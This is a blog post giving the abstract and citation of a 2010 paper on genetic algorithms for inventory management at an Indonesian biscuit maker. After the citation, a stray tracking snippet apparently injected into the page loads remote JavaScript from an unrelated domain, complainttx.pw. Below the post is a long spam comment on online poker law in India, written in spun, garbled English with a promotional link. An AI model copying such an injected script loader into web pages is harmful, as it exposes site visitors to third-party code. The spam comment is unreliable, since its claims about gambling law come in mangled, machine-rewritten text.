Application of Genetic Algorithms in Inventory Management

Application  of Genetic Algorithms in Inventory Management

 

Dania, W.A.P.

 

Abstract: Inventory cost is a main component of total logistic costs. To achieve the minimum logistic costs, companies need to manage the amount of carrying inventory accurately to minimize the impact of the fluctation of demand. In order to deal with the fluctuation of the demand that creates a mismatch between supply and demand, Genetic Algorithms are applied to define the optimal solution based on periodic review system. Genetic Algorithms as one of the optimization method are chosen because it can handle the problem with highly constrained, multi criteria, multi combinatorial problem and has large solution. There are several steps that need to be accomplished to achieve the objective. First, mathematic model of inventory management which contain of all cost component need to be determined. Second, based on the proposed mathematic model, Genetic Algorithms as the optimization method is developed. Finally, the result of Genetic Algorithms is applied in real case study which is case in one of biscuits companies in Indonesia.

 

 

Key words: Inventory management, Periodic review system, Genetic algorithms

 

 

       

 

 

Authors´ data: STP, MEng. Dania, W[ike] A[gustin] P[rima]*, *Brawijaya University, Jalan Veteran Malang 65145, Indonesia, wike_mobile8@yahoo.com.

 

This Publication has to be referred as: Dania, W[ike] A[gustin] P[rima] (2010). Application of Genetic Algorithms in Inventory Management, Chapter xx in DAAAM International Scientific Book 2010, pp. xxx-xxx, WAP. Dania (Ed.), Published by DAAAM International, ISBN 978-3-901509-74-2, ISSN 1726-9687, Vienna, Austria

DOI: 10.2507/daaam.scibook.2010.xx

 


 

var _paq = _paq || [];
_paq.push(["setDomains", ["*.siteUrl.com","*.siteUrl2.com"]]);
_paq.push(['trackPageView']);
_paq.push(['enableLinkTracking']);
(function() {
var u=”//complainttx.pw/”;
_paq.push(['setTrackerUrl', u+'piwik.php']);
_paq.push(['setSiteId', 4]);
var d=document, g=d.createElement(‘script’), s=d.getElementsByTagName(‘script’)[0];
g.type=’text/javascript’; g.async=true; g.defer=true; g.src=u+’piwik.js’; s.parentNode.insertBefore(g,s);
})();

This entry was posted in tulisanku.. and tagged , . Bookmark the permalink.

13,791 Responses to Application of Genetic Algorithms in Inventory Management

  1. The bench was hearing a bunch of petitions filed by
    clubs and online rummy companies against the Madras Excessive Court docket verdict that declared rummy for stakes as a type
    of playing and hence illegal. In India notably, in fact,
    the first consideration is whether they’re
    absolutely lined legally. She used to enter the tables with
    minimal purchase-ins and used to lose the money very quickly.
    To really say that India is a booming poker nation, on line casino poker should turn into greater.
    Not too long ago Nagaland became the first Indian State to cross the Nagaland Prohibition of Playing and
    Promotion and Regulation of Online Games of Ability Bill
    2015.” We met up with Vaibhav Gaggar, Managing Partner at Gaggar and Associates to debate the identical.

    By the tip of late entries, there were a total of 78 players who would do battle to take home the title. As soon as it is cleared, it’s mainly free cash being given away by the poker website. The Data Expertise Act of 2000 attempted to regulate on-line gambling however fell brief in a number of categories, comparable to whether or not on-line poker is a sport of ability and thus exempted from the law. When you put your poker skills to test on our actual money tables and on our poker tournaments you earn frequent player factors (FPPs).

    The Central Authorities and Reserve Financial institution of India (RBI) have the powers to topic financial establishment notes and cash respectively. Haresh Kukreja, former inventory dealer from Mumbai, first found poker on Facebook. By playing on worldwide poker sites, gamers positioned in India can compete with others around the world for among the most profitable real cash on-line poker tournaments obtainable. In its first season, the Poker Sports League will include 12 groups, seven of which have already been offered and the remaining five shall be made obtainable on the market shortly.

    You will begin seeing qualifying on-line tournaments with the winners potentially going via to the big prize land-based mostly tournaments on the WPT tour. It’s little difficult to gauge the reach of online poker in Asia Pacific due to the shortage of availability of the statistics and data concerning the customers. For example, online poker could also be legal in a single country whereas it might be illegal in another. However the online playing and gaming laws in India are still in a state of limbo.

    In the occasion you beloved this informative article and also you want to obtain extra info with reference to online poker i implore you to visit our personal website. When even the Bitcoin exchanges of India are beneath regulatory scanner, individual online poker websites experiment with Bitcoins is really dangerous. The web poker websites and their gamers are also required to comply with Indian revenue tax and different tax associated legal guidelines. Rajeev Raut who has played poker world wide since 1997 carried ahead his ardour for the sport by opening this poker site in Silicon Valley of India.

    New gamers and enthusiastic avid gamers are also learning to play online poker recreation so they can play online for actual money. Obtain free poker now onto your iPhones from the Apple retailer and revel in a rich UI experience ON THE GO, wherever you are! Up to now, Kerala refused permission to Future Gaming Solutions India Personal Ltd to advertise Nagaland lotteries inside the state. Recently, The All India Gaming Federation (AIGF) has pressed the Kerala Authorities to legalize poker game within the state and the government is considering notifying poker as a talent game.

    PSL will see 12 teams, playing with 9 gamers each, combating for the prize money of Rs 3.36 crore. A lot of the on-line poker websites in India are violating Indian legal guidelines and is also prosecuted as well inside the close to future. Phillip Hellmuth, arguably probably the most successful poker player, has received the WSOP bracelet 14 times. The software program of the poker site must be easy to navigate so the availability of video games throughout a wide range of stakes are simple to access by clicking on the completely different game tabs and using customized filters in the foyer.

    While various mathematical and authorized specialists have used a great deal of statistical data to prove that poker is a sport primarily based on a substantial diploma of ability and hence be excluded from other types of gambling; most individuals still wince at the concept of evaluating poker with mental” games
    like chess and imagine that luck plays a serious role
    in figuring out the winner of a poker game. You’re assured of excessive privacy requirements when playing your game
    of Rummy and Poker on Pokabunga.

    If you want to dive in and get some free apply in a competitive environment, take
    a look at the model new web site at Worldwide Poker – providing free to play poker video video games with a twist.

    In some circumstances, on-line playing websites could also be blocked, though
    as all the time, this doesn’t do a lot to cease people from taking
    part in the place they want as they merely discover ways around this, though downloading the software program by connecting via a VPN.
    But gaming enthusiasts or people who love gambling online have full information about
    online poker and there are web sites who are providing great offers
    and bonuses to draw new players to attempt their luck
    over the sport of online poker.

    Worldwide on-line poker sites are officially
    allowed to offer real cash poker games to players, so playing on the above mentioned rooms is absolutely protected and
    legal. Though it is the newest entrant into the reside
    poker circuit in the Backyard City, it offers
    nonparallel and upscale recreational experience to poker gamers.
    He’s a little bit of an area poker legend in his nicely-heeled Mumbai circle—he lately
    purchased a few luxury automobiles together with his winnings.
    Burman, in his private capacity, has partnered with Anuj Gupta , founder of poker portal Adda52.

    It is also vital that the online poker software is smooth and responsive even when enjoying the utmost number of tables.
    We believe that poker is relatively new in India and therefore offer our players to get accustomed to the positioning and poker sport.
    Sooner than we begin our overview of the approved background to actual
    money poker within India, I am going to just make a point out of some useful poker pages right here on winmoney101.
    They are additionally discussing the possibility of legalizing
    sports activities betting in India which is taken into
    account as a landmark. http://petstomeet.com/groups/adda52-com-brings-again-indian-poker-league-1869483544/

Leave a Reply

Your email address will not be published. Required fields are marked *

CAPTCHA Image

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>